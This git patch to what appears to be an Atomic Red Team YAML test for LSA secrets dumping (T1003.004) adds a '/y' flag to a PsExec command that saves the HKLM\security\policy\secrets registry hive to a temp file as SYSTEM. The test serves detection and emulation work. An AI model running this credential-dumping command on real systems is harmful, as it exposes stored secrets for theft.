From 32eb49ca374f33e3554a14e68ceb759db2714f81 Mon Sep 17 00:00:00 2001 From: Carrie Roberts Date: Mon, 13 Dec 2021 14:11:54 -0700 Subject: [PATCH] overwrite existing output without prompt (#1688) Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com> --- atomics/T1003.004/T1003.004.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1003.004/T1003.004.yaml b/atomics/T1003.004/T1003.004.yaml index e29079fc..ee5b43a5 100644 --- a/atomics/T1003.004/T1003.004.yaml +++ b/atomics/T1003.004/T1003.004.yaml @@ -25,7 +25,7 @@ atomic_tests: New-Item -ItemType Directory (Split-Path #{psexec_exe}) -Force | Out-Null Copy-Item $env:TEMP\PSTools\PsExec.exe #{psexec_exe} -Force executor: - command: '#{psexec_exe} -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets' + command: '#{psexec_exe} -accepteula -s reg save HKLM\security\policy\secrets %temp%\secrets /y' cleanup_command: del %temp%\secrets >nul 2> nul name: command_prompt elevation_required: true